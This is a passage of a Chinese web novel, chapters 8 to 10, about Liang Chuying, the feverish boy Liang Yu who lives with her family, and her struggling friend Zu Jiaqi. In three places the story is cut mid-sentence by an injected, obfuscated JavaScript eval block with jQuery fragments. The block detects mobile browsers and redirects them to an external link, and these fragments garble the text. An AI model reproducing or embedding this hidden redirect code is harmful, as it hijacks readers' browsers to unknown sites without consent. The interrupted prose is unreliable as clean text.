她任务完成,打算下去,左脚刚落地,梁聿突然抬起眼睫,尖锐的目光似乎要将她穿透,突然伸手猛地拽住她的手腕往下扯,梁初楹倒在床上,双肩抵着墙,下颌被灼热的手指捏住,梁聿眯着深红的眼眶压下来,又热又重的吐息离她只剩毫厘。
梁初楹瞪大眼睛,猜到他要把没咽下去的药喂给自己……还是以这种耻辱的方式,她心脏几乎都要停止供血,脸色一白,使尽浑身力气把梁聿推开,打算甩他巴掌的时候这人却眼睛一闭,斜歪在枕头上昏了过去,不知真假。
一拳打在棉花上。
疯子!
这神经病的脑子被烧坏了,他究竟知不知道她是谁?
梁初楹把他踹开,梁聿闷哼一声,闭着眼张嘴吐出热气,连含着的药都吐了出来,又恢复了无害的模样,像是烧得很难受。
她站在床边盯了他一会儿,一边想要这个人去死一边做着道德性的挣扎,最后还是咬着牙齿把药从药盒里拿出来,重新和水一起灌进他嘴里,最后抬着他牙关确认咽下去以后才撒手。
床单湿了一小片,被蹭得乱七八糟,跟干过什么事一样,梁初楹感觉神经重重一跳。
这可是她的房间她的床,被糟蹋成这样,全是这个人的错!
她喂完药就懒得管他,任由他睡在湿掉的床上,并暗暗下了决定必须让梁聿洗好重新给她摊好。
想到刚才他意识混沌时靠近的呼吸,她心尖一颤,感到头皮发麻,立马离开了这个房间,重重摔门离去。
房间被弄得一团乱,梁聿在湿掉的床单上掀开眼,空空地睁了几秒,又闭上。
“…………”
外面的风刮在脸上凉得刺痛,唤醒了一些梁初楹昏沉的意识,她僵着身子坐上公交车、下车、左拐、右拐、推开诺雅画室的门。
前台招呼的老师问她是来上课还是找人,梁初楹直愣愣说:“找人。”
“找谁呢?是学生吗?”
她脑子混乱一片,也不知道说了谁的名字。
老师把今天几个上小课的学生名字过了一边,抱歉地告诉她:“没有这个学生呢……你看要不要直接打个电话?”
梁初楹坐了一会儿,眉头轻蹙,不好意思地问了一遍:“我刚刚说要找谁?”
老师把那个名字重复了一遍:“你说找一个叫梁聿的学生。”她眼神奇怪地上下打量她。
梁初楹听到他名字脑仁都是痛的,她开始道歉:“不好意思,刚刚走神说错名字了,我直接给我朋友打电话吧。”
她从口袋掏出手机,懊恼自己应该坐在车上的时候就提前给晏文韬打个招呼的,不过当时魂早就飞了,根本没想到这茬。
梁初楹在消息列表翻了一下,给晏文韬拨了个语音通话,没两秒就被接起,对方温润的嗓音从扬声器里传出来:“到了吗?”
她逼迫自己凝神回答:“我已经到前台这儿了。”
那边传来啪嗒啪嗒的声音,像是把笔都甩进了笔筒里:“我正好弄完打算出去吃饭,顺便一起吧。”
这不在梁初楹的计划里,她犹豫了一下,这点儿反应被对面敏锐地捕捉到:“没事,就去对面吃点儿就行,你有什么别的安排吗?”
她思考几秒:“没有,那就去对面吃吧,你顺便把东西带给我,麻烦了。”
晏文韬轻笑几声,说:“不麻烦。”
今天天气算不上太冷,但晏文韬仿佛极畏寒一样穿了一件很长的羽绒服,看见她时面露笑意走过来,把沾着颜料的手从口袋里拿出来,指了指对面:“你吃韩餐吗?他们说那家烤肉还不错。”
梁初楹对于吃什么并没有特别的兴致,随便点了几下头就被晏文韬带了过去,找了一张方桌坐下。
炭烤的炉子散发着滚滚热气,梁初楹觉得自己被一氧化碳熏得有点迷糊,人在暖洋洋的环境里很容易松懈下来。
晏文韬拉开书包的拉链把几张卷好的画递了过来,梁初楹向他道谢,然后随手搁在一边。
他把袖口挽上去少许,一边把肉剪开一边跟她搭话:“听秦老师说,十月中的集训你们是不是要一起去花荫街那边的集训场地?我们好像也定在那里,住宿环境好一些。”
“没听说过,你的消息好像总是很灵通。”
梁初楹说完,听见他爽朗地笑了几声:“可能是跟大家关系比较好吧,没事儿就套点儿有用的信息,如果真在一个地方集训的话,有事可以找我帮忙,毕竟都是老朋友了。”
他说得倒是不错,晏文韬从读书时候开始人缘就很好,男生女生都喜欢跟他玩儿,也许是这个人心思比较细,察言观色的本领也不赖,跟他一起说话、做事,都挺没负担的,看上去是很好相处的角色。
炭炉的火烤得人眼睛都发干,梁初楹稍微低了下头,突然开口问:“我记得你不是跟女朋友一起去德国念书了吗?怎么就你一个人又回来复读了?”
晏文韬静了一会儿,再开口时声音不如之前温和:“分手了,德国那边消费水平也高
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15174379|165016||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,所以还是计划重新回来考国内的院校了。”
说完以后,他笑笑:“我以为你对这些八卦的事情不感兴趣来着。”
梁初楹看他一眼,“随口一问,别放在心上。”
筷子上的肉还没入嘴,兜里的电话就响起来,梁庆给她打过来的。
“抱歉,我过去接个电话。”
梁初楹起身去了洗手间,把电话滑到接通的那一端,梁庆的嗓音在耳畔响起:“你在家吗?”
“不在啊,我今天有事出门了。”
“梁聿生病给我打电话了,我这儿走不开,你尽快回去看看他吧。”
梁初楹撇嘴:“他发烧,我给他喂过药了。”
梁庆那边杂音很多,应该是忙里偷闲给梁初楹打的这个电话:“你们俩都闹了多少天了?他听上去状况很严重,药不一定管用,真出什么事儿了怎么办?就当爸拜托你的。”
提到这事梁初楹就火冒三丈,告起状来:“我好心给他拿药端水的,他跟逗我玩儿一样全给扔了,我朝他发脾气怎么了?真是的……我承认自己之前做错了事,是我的错我什么时候不承认过?我还花好多钱给他买衣服,结果他也扔在楼下的垃圾桶里了,我没有发脾气的权利吗?”
“您是忙,我有事你把我丢给他,他有事就把他丢给我?”
梁庆叹口气,在梁聿跟梁初楹的问题上他向来是偏向后者的,带了几分安慰:“丫丫,我跟你说过了,梁聿家里出了重大事故所以住到我们家里来。知道你不喜欢他,你那边要是走不开,我就打个120直接把他抬进医院吧。”
缓了几秒,梁初楹咬牙不从:“那你打吧,反正我不回去。”
梁初楹忿忿把电话挂断,推开隔间的门走出去,继续吃完了那块牛肉。
晏文韬抬头看了她一眼,问着:“周末还那么忙?”
“弟弟发烧了,我爸想让我回去看一眼。”梁初楹兴致缺缺地回答。
他神情讶异:“那你不回去吗?”
梁初楹抿一下嘴唇:“很烦,不想理那个人。”
她很生气地用餐刀把肉片戳烂,抱怨着:“而且又不是小孩子了,还得要个人陪在旁边吗?我也没比他大多少啊。”
晏文韬喝着柠檬水,一边仰头一边探究性地看向她,几秒后把眼睛低下去,笑而不语。
一顿饭三言两语地吃完,梁初楹热得把外套都脱掉了,她看了眼手机,才过了四十分钟,不知道救护车是不是已经到家了。
她跟晏文韬在门口告别,他晃了晃手机,说以后有事还可以找他,梁初楹点点头,倒是想不到还有什么事能麻烦他的。
吃完饭以后她故意拖延时间不回家,把商场七层楼逛了个遍,在某家店的橱窗里又看见了她买过的那件白色羽绒服,于是神情又郁闷起来,冷哼一声后再也没有路过那家店。
临近傍晚,梁初楹的手机还剩12%的电量她才舍得回家,没有在楼下看见救护车,估计早就把梁聿带走了吧。
她输入密码拉开家门,屋子里黑成一片,走廊的光照进去一小片,门口整齐地摆着一双球鞋——梁聿没有走?
……不,应该是穿着拖鞋就被带走了。
梁初楹拍开一楼大厅的灯,还是下意识往二楼自己的房间那儿看了一眼,连外套也没脱,一脸严肃地径直走上楼,很轻松地拧开自己房间的门把手,在床上看见一小团缩起来的人影,他没有盖被子,把自己裹在一件短的白色羽绒服里。
梁聿没有去医院。
——他在梁初楹送他的羽绒服里继续发病。
8.变质
梁初楹一边把大汗淋漓的梁聿胳膊捞起来挂在自己脖子上,一边在手机上点了几下,叫了个车过来。
她扶着梁聿下楼,他浑身热得湿透了,脑袋无力地耷在她肩膀上喘气,呼吸烫得吓人。
梁初楹给梁庆打了好几个电话都打不通,没想到这人不靠谱成这样,不是说了会给梁聿打120的吗?
服服服。
他早说他不打啊,那她早就回家了,总不至于狠到看着梁聿在家等死吧?
她看了一眼梁聿连拉链都没拉好的羽绒服,身上的汗被风一吹兴许会烧得更厉害,于是她腾出一只手去扯梁聿的拉链。
明明是六百多的羽绒服,结果拉链一扯就坏,汗湿的棉质睡衣贴着少年的身体曲线,梁初楹只能替他抓着,差点气得跳脚。
网约车终于打着双闪停在楼下,梁初楹慢吞吞拽着梁聿,把他扔进车里,司机“喔”了一声:“咋等这么严重才去医院嘞?”
梁初楹心烦意乱地抓着头发:“白天没人在家。”
梁聿半卧在她大腿上,梁初楹犹豫地拂开他湿掉的头发,街道两边黄色的路灯飞速从车窗外晃进来,他脸上的光影不断变换,从眼皮,再到鼻尖,最后是嘴唇。梁初楹看见他翕张的嘴唇,听见他好像在讲话。
“你要说什么?省点儿力气行吗?”她虽这么抱怨着,但还是侧低着头把耳朵靠过去,细细辨别他的声音。
“我记得……小时候,姐姐也是这样。”梁聿双手攀附上她的腰,梁初楹腰线两侧的衣服被他紧紧抓握在手里,滚烫的额头贴上她的小腹,“说着恨我、不想管我,但是我真要死的时候,你还是会第一时间惦记我。”
梁初楹低眼看着他,不说话,只是静静感受着这个人身体传来的滚烫的体温,在这个凉透的秋夜,像一支刚点燃的烟头灼烧着她的腹部。
可是并不痛,又脆弱又温暖。她走了一下神。
“这是你难得不诚实的时刻。”梁聿的声音越来越弱。
“少揣摩我。”梁初楹偏过头嘀咕,“你闭嘴吧,看来你病得一点儿也不严重,脑子还这么清醒。”
直到她拽着他下车,梁聿都保持着安静。
他高烧到41度,护士给他做了紧急降温处理,梁庆的电话这个时候才打回来,梁初楹站在医院走廊里跟他通话:“你怎么没给梁聿叫救护车?我回去的时候他都不行了。”
“爸只是忘记了。”梁庆嗓音显得有些虚浮,梁初楹突然失声,感觉从脊骨到手指都突兀地被凉意包裹。
“你这是什么语气?”她不解,觉得梁庆那口吻就像是要把人埋了处理干净的轻飘态度,梁初楹印象里梁庆不是这样无情的人。
电话那边叹息一声:“你误会了,我刚跟上面开完各种批评会,太累了。当时刚跟你通完电话,被领导逮过去开紧急会议了,我想着可以放一放,后来就忙忘了。”
什么情况下会连这样严重的事都忘掉?
“梁聿现在没事吧?”梁庆关心着。
梁初楹静了静,缓慢回:“我带他来医院了,医生在处理。”
“那就好,因为爸爸的疏忽折腾你了,我手上这事情忙完以后应该能有点闲钱,到时候给你买礼物。”
梁初楹张张嘴,又闭上,最后连自己也没理清想要说的是什么,见她久久沉默,梁庆安慰了几句:“爸年纪上来了,忘性大,以后一定注意,好吗?”
“哦。”她敷衍地应过一声,就挂断了电话,转头向输液区走去。
护士已经给他做了降温处理,那一排空掉的凳子上只有梁聿一个人,他手背上的皮都还没好全,就又被扎了个洞,连着的吊瓶已经掉了半瓶水,今天一共要打四瓶,还有得等。
她走过去看了一眼,梁聿还是呼吸不畅,身子歪斜成一个奇怪的角度靠着,薄薄的皮肤全烧红了。
“你能行吗?我要在这里等着你?”梁初楹问他。
梁聿还留有一些意识,没挂针的那只手向上抬了抬,牵住她,但是牵得又不规整,五根手指头扣进她指缝里,灼热的温度像动物的舌头一样舔上她的手心,有种超乎身份关系的暧昧感。
梁初楹抿紧唇,下意识要把他丢开,梁聿却捉着不放。
“我一个人不行,姐姐再待一会儿吧。”他轻声,黑沉沉的眼底闪着异样的光。
梁初楹心重重跳了一下,感知到某种危险,用力把他甩开,又后悔了:“我、我就不该问的……谁要跟你待一块儿啊,打完针休息好了自己坐车回家。”
她匆匆忙忙离开,掌心是湿的,梁初楹在裤子上蹭干净,梁聿斜靠在冰凉的凳子上,头抵着靠背,仰着下颌垂眼睨视她的背影,粘腻的目光一直跟到她的身影消失。
梁初楹交完钱就自己回去了,房间里被蹂/躏得一团乱,她把床单和被子全部扯下来塞进篓子里,再气冲冲地把篓子拖进梁聿的房间里扔给他去解决。
梁聿的房间大概只有她一半大,布局她也不熟悉,黑灯瞎火的连灯的开关都找了半天,然后摸进浴室,发现里面冷飕飕的,地面还有没干透的积水,镜子上也溅了水珠。
她看了一眼,旁边热水器的一根管子居然是断的,一开始梁初楹怀疑梁聿房间也有老鼠,后来她扯着那管子断口瞧了一眼,感觉也不太像被啃断的。
楼下大门被转开,梁庆才回到家里,看见二楼梁聿房间是亮的,喊了一声:“这么快就打完针了?”
梁初楹扔下管子跑出去:“他还在医院呢,我先回来了。”
她皱着眉:“梁聿房间热水器的管子怎么断了,他也不吭声,这几天洗冷水澡才冻发烧的吧。”
梁庆嗓音听起来也疲惫,应该是在外没少忙活,答得也敷衍:“有空我找个师傅来修吧。”
对现在的梁初楹来说,她爸说这话完全没有说服力,估计一觉醒来就会把梁聿的事情忘干净了。
当天晚上梁聿是自己回来的,穿的还是梁初楹之前买给他的那件羽绒服,说实话梁初楹当时只是口嗨一下,也没指望他真的去垃圾堆里捡,结果没想到这件衣服还真的回来了。
她当时正靠在沙发上看电视,梁聿回来的时候脸上多了个口罩,应该是护士给的,他缄默地换了鞋,先去吧台那边给自己倒了杯热水喝
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15174380|165016||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,梁初楹听着他的动静,手里捏着的一瓣橘子半天都没进嘴里。
犹豫了几秒,她还是开口:“热水器坏了怎么不说?我跟爸说了,他会找人给你修。”
“好。”梁聿声音听起来是哑的,把半杯热水都喝了下去。
梁初楹低头,缓慢地把手里捏了很久的橘子塞进嘴巴里。
“那衣服——”
“姐姐今天在外面玩儿得开心吗?”
梁聿更快地说完一句话,语气听起来很平静,没有太大的起伏,但是听进梁初楹的耳朵里,那股令人不适的感觉就又袭上头皮。
梁聿对他病得发疯的事倒是绝口不提,反而对她在外面做了什么这么感兴趣。
梁初楹嚼着水果:“呵呵,是啊,非常开心,我去吃了烤肉,又把商场逛了个遍,要不是因为给你买衣服没钱了,今天我就不至于空手回来了。”
“是吗?”梁聿低垂眼睫将玻璃杯放下,他弯眼笑,表情却泛着凉意,“看来我们真是一家人呢,我不高兴的时候,姐姐就会高兴了,这也算一种守恒吗?”
她下意识觉得令他不高兴的事情指的是发烧,但那事已经证明不是落水的后遗症,而是梁聿自己洗冷水澡还不开暖气的后果了,跟梁初楹没有半毛钱关系,她不需要觉得愧疚。
“你高不高兴跟我有什么关系,少怪我。”梁初楹吃完了一整个橘子,拿了张纸巾擦手,然后站起来面朝吧台的梁聿,义正言辞地指使:“我的床单和被子你要负责洗好还给我。”
她眉头下坠,很嫌弃:“上面都是你吐出来的水。”
梁聿稍微眯了些眼望着她,手指把桌台上的杯子转了几圈,嘴角向上翘了一下,梁初楹也僵着没动,意识到两个人一起不约而同想到床上那些莫名其妙的拉扯。
梁初楹脸一黑,觉得不能在他身边久留,连电视都没关就跑上楼了。
她关了门,紧接着听见一连串慢条斯理的脚步声,终点是她的房门前。
家里就这么几个人,梁初楹完全能够通过脚步的频率判断外面是她爸还是梁聿,简直想都不用想。
房间门被叩响,她从床上直直坐起来,不耐烦地喊:“有话就在外面说!”
门外的人沉吟一会儿,稍许,梁初楹的手机亮了起来,梁聿的消息弹进来:
【^-^】:“姐姐好像想问我衣服的事情。”
【^-^】:“因为送了我新的,所以我把原来那件扔掉了,你这段时间一直是误会了这个所以生我的气?”
【M】:“知道了。”
手机屏幕的光朦朦地覆在她的脸上,梁初楹盯着看了一会儿。
一个半小时以后。
【M】:“那你为什么不早说?”
【^-^】:“我说过的,是你不信。”
【M】:“哦……”
【M】:“那还是怪你,你在我这儿没什么信用。”
【^-^】:“我会再努力一点的。”
【M】:“^-^”
【^-^】:“^-^”
9.变质
梁庆答应梁初楹的“安慰金”,是两千块钱,他连礼物都没心思挑,直接发了红包叫她放假的时候跟同学一起出去玩儿。
可惜那段时间梁初楹约了祖佳琪好几次,她都说没有时间。
梁初楹觉得从那天中午在食堂吃完饭开始,祖佳琪似乎就不太跟她联系了,其实以前也常有这种事,因为梁初楹性格有些尖锐,说难听点就是太骄纵,经常跟别人聊不到一块儿去,之前也交过好几轮朋友,没几个月就联系不上了,加之有过遭受背刺的经历,梁初楹渐渐就降低自己对朋友关系的预期了。
她盯着手机屏幕上自己发的一连串绿色气泡,指甲在手机侧边敲了好一会儿,最后还是把手机关掉,失力躺在床上盯着天花板发呆。
第二天,梁初楹弯腰把沾了水粉的笔刷一股脑地扔进水桶里涮干净,祖佳琪用笔蘸了一下白颜料,发现自己的白色格子已经空了,梁初楹看了一眼,拆了一袋新的补充装挤给她。
“谢谢。”祖佳琪笑笑,看了一眼自己一大半颜色都用光的颜料盒,视线又缓慢转移到画纸上。
梁初楹握着一把湿答答的画笔,犹豫了很久,开口问:“你最近很忙吗?我给你发了很多消息都没见你理我。”
祖佳琪像是刚回神,“啊”了一声,转头很抱歉地对她说:“你说的是一起出去玩的事情吗?我好像看到了,但是忙着忙着就忘记回复了,对不起对不起。”
这个态度跟她那个不靠谱的爸一样,忙着忙着就会把别的事忘掉,梁初楹觉得郁闷。
她直来直去地问:“我是有什么事做得叫你不高兴了?”
祖佳琪沉默几秒,干笑几声:“没有啊,为什么这么问?我真不是故意不回的,最近家里有点事情,所以总是三天两头到处跑,不要误会啦。”
梁初楹“嗯”了一声,也没有话可以多说了,低着头把画笔上的水甩了几下,继续开始临摹例图。
祖佳琪应该也有些过意不去,试探性道:“下次放调休假的时候一起出去吧,我陪你。”
“我——”梁初楹张张嘴巴,结舌,“不是谁陪谁的问题,我是想说,两个人一起出去玩儿、一起商量,所以我才问你想去哪里,不是叫你陪我去我自己想去的地方。”
祖佳琪看着梁初楹的眼睛,表情怔愣了一瞬,梁初楹不知道为什么,觉得她鼻头有点红。
“你没有问题,是我的问题。”祖佳琪低着头小声说,梁初楹还没来得及问她说的是什么问题,她就又抬头笑了几声,“到时候再决定要去哪里吧。”
她转头继续画画,梁初楹没有再打扰她。
上文化课的时候,她从老师嘴里听见了梁聿的名字,本来还在游神的梁初楹眼睛眨动几下,凝了神去听。
“唉,我都不好说你们,都是读第二遍的人了,现在一大半人还搞不定倒数第二题那圆锥曲线,不就是几个公式一直往下算吗?底下那楼,五班的梁聿,人家都拿CMO金奖,被招走了。”
梁初楹手里自动铅笔的笔芯突然被她摁断,她看着卷面空白处崩出来的几个点,皱了眉。
她确实在学校各种公告栏上见过梁聿拿奖的事情,这事儿被当作招生广告一样到处投放,但是没想到现在都进入择校阶段了。
他有跟爸说吗?家里谁都不知道他在做什么,自己弟弟的消息,居然还是从别人嘴里听来的二手的。
梁初楹感到微妙的不悦。
她重新把铅笔芯摁出来一截,然后再压断,下巴压在手背上。
爱说不说,谁稀罕了解他?
因为要期末了,学校留的作业也格外多,梁初楹躺在卧室的躺椅上晃来晃去,用卷子盖在脸上,摇摇椅有规律地上下晃动。
窗帘擦过窗棱的沙沙声充当白噪音,楼外广玉兰的叶子拂动作响,她脸上的卷子被风吹落在地上,梁初楹睁着眼睛看天花板,心里什么都没想,就是觉得外头的风有点凉,叫人缩了下肩膀。
梁聿今天回来又比她晚,最近似乎总这样,也许近些时间在家里看不见他人影,就是因为搞什么比赛去了吧?
梁初楹把滑在眼皮上的头发吹开,听见梁聿回来以后第一时间敲了她房间的门。
“有话就说。”她又往地上蹬了一脚,摇摇椅又开始晃起来。
“冰箱里有意面,煮那个吃可以吗?”梁聿模糊的声音透过厚厚的门板传进耳朵里,平稳、安静。
这个家里基本只有梁初楹是甩手掌柜,因为没有请过家政,家里的事都是梁庆跟梁聿换着来,她什么也没干过,连哪天是谁做饭都搞不清楚,看来今天是轮到梁聿做。
梁初楹坐直身子吐槽:“你好偷懒,以前还会变着花样炒菜,现在都煮现成的速食了。”
梁聿静了一瞬,开口:“那姐姐想吃什么?”
她刻意刁难人:“虾仁小馄饨,要骨头熬的底汤,不要紫菜和葱,我就爱吃光溜溜的馄饨。”
外面很久没人说话,也没有脚步声,梁初楹知道现在这个不太可能,光是熬骨头汤都要大半天,虾仁和馄饨皮家里都没有现成的,还得现在去买。
安静几秒,她闷闷开口:“对面街上有家王婆婆馄饨馆,不远。”
梁初楹说不上来自己哪里来的一股怨气,就觉得梁聿怎么那么烦。
她等了一会儿,梁聿道了一个“好”,转身下楼去了。
梁初楹起身站在门口,把门开了一条缝,刚好能看见楼下靠大门的那一半,梁聿重新揣了钥匙出去,梁庆又在看新闻,连一句“你要去哪儿”都没问,显得那人的背影太过单薄。
五指骤然缩握了一下,她从兜里掏出手机,想着要不还是算了,吃意面就吃意面,又不是不爱吃,怎么现在搞得梁聿像给他们父女俩免费打工的。
一行字刚打出去,梁初楹指尖又停住。
可是梁聿上学吃饭也是爸爸给的钱啊,这不算免费。
紧接着她又想,那毕竟大家是一家人,梁庆他自己要养梁聿的。
头好痛……梁初楹无声地“啊”了半天,把手机揣回兜里,躺
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15176283|165016||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
回摇摇椅上写作业了。
一张数学卷子都写完了,外头的天由半黑变成全黑,吹进屋里的风更凉了,梁聿还是没有回来。
看新闻的梁庆这才想起还没吃晚饭,跑上来问她梁聿去哪儿了,她心想梁聿出门的时候你怎么不问。
“他帮我去王婆婆那儿买馄饨去了。”梁初楹说。
梁庆拧一下眉:“我回家的时候看那家店关了,老板娘中风,这周她的店都不开门。”
她晃了一下神,那梁聿跑去哪里了?
梁庆给梁聿打了个电话,没打通,跟上次一样,他一点儿也不着急,还对梁初楹说:“估计有什么事吧,那爸下楼去煮意面?”
她心不在焉地点几下头,盯着自己的手机,给梁聿发了条消息。
【M】:“买不到的话就算了。”
同样无人回应。
梁初楹吃了一半意面,不是很有胃口,刚推开凳子要起来,大门开了。
梁聿一直穿着她那件白色短袄,带了一身秋夜的凉意进门,手里拎着一个大的透明塑料袋,视线先落在桌子上的残羹剩饭上,然后低下眼,在玄关换了鞋。
梁初楹看见他手里拎的是生馄饨,汤是打包回来的,梁聿放在桌子角上,梁初楹感觉他哈气都是凉的。
“看来你们都吃完了,那先放冰箱吧。”梁聿的手指重新勾起那些袋子。
他瘦削的影子在暖色的灯光里斜着落下,梁初楹看着这一幕,想起他发烧那天独自一人窝在这件小小的羽绒服里的模样,她低下眼。
“汤放第二天就不能喝了。”梁初楹又坐回去,把面前半盘意面推开,“我还饿,你煮吧,一起吃。”
梁庆靠在凳子上,笑一笑,端走了桌子上那些盘子:“我饱了,你们俩吃吧。”
两人等锅里的水煮开,梁初楹扣着桌子边,问他:“你去哪儿买的,要这么久。”
梁聿表现出一贯温和的态度:“对面那家店关门了,但因为是全国连锁的,所以去了另一家。”
“有点远,公交地铁转了好几次,所以慢了一点。”
梁初楹张了下嘴巴,梁聿坐在对面,手背上的针孔还隐隐若现。
“下次你直接说你不想去不就好了?”她终于发出声音,但是是偏过头说的,视线也不知道落在了哪里,“我有的时候就是会故意为难你的,你又不是看不出来,不知道拒绝吗?干嘛还去做?”
眼前人漆色的眼睛里似乎有什么一圈圈晕开,变得混沌模糊,梁初楹从他的表情里什么也读不出来。
客厅的灯太亮,照得他的皮肤还是那么苍白。
梁聿的表情变得有些机械,挂在脸上,眼睛失了一瞬的焦,神经质地喃喃:“可是弟弟生来不就是给姐姐玩儿的吗?”
他眯着的双眸里泛出笑意:“我不介意这些。”
梁初楹无法理解他的想法:“你至于这么自轻自贱吗?谁乐意玩儿你了……”
他没有再开口,眼瞳被锅里氤氲的热雾笼罩。
10.变质
重新热出来的骨汤变得有些浑浊,梁初楹撑着肚子吃完,上楼时都得扶着把手,进门的时候懊悔自己把那点微弱的同情心发挥在了梁聿的身上,现在撑得路都走不动了。
因为吃得太饱,晚上很容易睡不着,梁初楹举着手机扒拉几下,在通讯录里又把王依曼的电话翻找出来,她出神地盯着上面备注的“妈妈”的名字,手指轻微碰了一下,电话拨了出去。
梁初楹耐心地等着,一如往常得到空号的提示,然后她安静地挂掉,脑袋也变空了,闭上眼睛用被子把自己裹住,呼吸变得越来越均匀。
集训的钱只剩祖佳琪还没交,她前段时间请了病假,上学没有两天,就又不来了,梁初楹时常看着她空掉的凳子走神,皱一下眉,觉得一定出了什么事。
但是她给祖佳琪发的微信经常得不到回复,梁初楹低头看了眼手机,敲敲打打,在要发送的时候犹豫了,咬住下唇,最后还是把手机揣进了兜里。
晚上放学,梁聿因为已经保送,去不去学校影响都不大,他不在学校,也不在家里,梁初楹也不知道他天天待在哪里,放学的时候也就剩自己一个人骑车回去。
她刚把自行车的锁拧开挂在把手上,坐上去想了几秒,扭头朝街的另一头骑过去,去了祖佳琪家楼下。
祖佳琪家住老筒子楼,白天行道两边都是摆摊卖菜的,没人收拾,到了晚上还能看见一地烂叶子,这片儿的环卫工人只在每天早上五点的时候过来扫掉。
到了地方,梁初楹跨下车,抬手敲了祖佳琪家的门,门里女人应了一声,小声猜测着:“今天怎么回来这么晚……”
门一打开,她瞧见一张面容姣好的温柔的脸,祖佳琪妈妈往她身后看了看:“欸,我还以为是佳琪。”
梁初楹一愣:“她不在家吗?”
“不在啊,你们不是刚放学吗?”
“她这几天一直在请假,根本没有去学校。”梁初楹把这个消息告诉了她妈妈,女人的脸一下子白了,嘴唇也哆嗦起来,慌里慌张进屋里去摸电话,嘴里嘀嘀咕咕:“怎么可能……不是每天一早就背着书包去学校了吗……”
梁初楹联系不上祖佳琪,她妈妈给她打电话倒是立刻通了,祖佳琪妈妈声色严厉道:“你跑哪儿去了?”
祖佳琪:“刚放学,我正骑车往回赶呢,路边有卖串儿的,要捎一点儿回去吗?”
“你还撒谎!你那朋友梁初楹都找家里来了,她说你这几天根本没去学校,你到底窜哪儿去了!”
对面静了。
祖佳琪妈妈又急又气:“你先给我回来,回家了我再算你的账!”
梁初楹没想到情况变成这样,屋里的红木桌子上还摆了两盘菜,高中生回家一般还得吃上一口,估计是刚热出来的,在白炽灯下被照出腾腾的热气儿。
她妈妈挂断电话转过身来,歉艾着道:“不好意思啊,等她回来了我跟她说说,你先回家吧,别叫你爸妈着急。”
都这么说了,梁初楹也不好再留下来,她点点头,离开了筒子楼。
第二天祖佳琪去了学校,脸上带了半边巴掌印,眼睛是肿的,应该是哭过,别的同学问她怎么了,祖佳琪简单概括为惹妈妈生气被揍了。
梁初楹听着她说话,盯着桌子上的卷子,笔尖在纸上点了一点,等她周围没人了才过去,看着她红红的脸,颇感歉疚,但是有的话一直憋着不说就如同冒出来的火疖子一般,再久而久之变成发炎的脓包。
她不喜欢误会,像她误会梁聿扔了她送的衣服一样,误会很伤感情,梁初楹不想把事情再搞得不清不楚的。
“我们出去说说话吧。”她向祖佳琪提议。
两个人往走廊前面走了一点儿,绕到别的班外面,把窗户拉开,外面是一排银杏树。
梁初楹先道了歉:“我不知道你家的事,所以昨天晚上才去找你的。”
祖佳琪低着头,半边脸还肿着,说“没事”。
“你为什么总不来上学?”
祖佳琪绞了下袖子,声音从齿缝里飘出来:“反正也考不上,还要花那么多钱,干脆出去打工了。”
梁初楹瞪大眼睛,握住她的手:“你早点放弃的话我觉得那是你自己的决定,但是这都只剩几个月了,集训完十二月一号就艺术高考了,为什么现在突然不上了?”
祖佳琪咬住下唇,低着脑袋,先是小声说了句“你当然没有压力”,见梁初楹不说话,她便也沉默下来。
良久,她嗓音细若蚊咛:“我觉得我们不是一个世界的人。”
梁初楹听这句话听过好多遍,以前也是,每每当她想要解决问题的时候,朋友就会冒出这么一句,是即将不再联系的预兆。
她缓缓松掉手,祖佳琪就着刚才的姿势继续说:“你可以给你不喜欢的弟弟送六百块一件的羽绒服,但是我给爷爷买顶六十的帽子都要考虑好久,虽然我也知道你经常请我吃东西、带我出去玩儿都是处于好意,但是我……”
“我总是过意不去,一跟你待在一起就没办法不自卑,你家是宽敞的两层楼,而我爸爸妈妈为了供我学这破画画,卖掉了家里的房子。我其实连集训都不想去了,因为要交好几千块钱,我不想张口向家里要钱,所以找了个打零工的活儿干,就没空回你们的消息,我已经……不想继续学了,剩下半年应付一下高考,也许还能给家里省一笔钱。”
她说着说着就带上微弱的哭腔,“我根本没天分,还浪费家里这么多钱。”
按道理来说,家里不够富裕的人是不会允许孩子学艺术的,无论表演还是绘画、音乐,都是要花钱找各种有资历的老师上小课的,而一节课都得花个大几千。
所以如果不是家里真的爱这个孩子,基本都会劝说放弃。
梁初楹看着头越来越低的祖佳琪,扶正她的肩膀,从荷包里掏出一张纸巾。
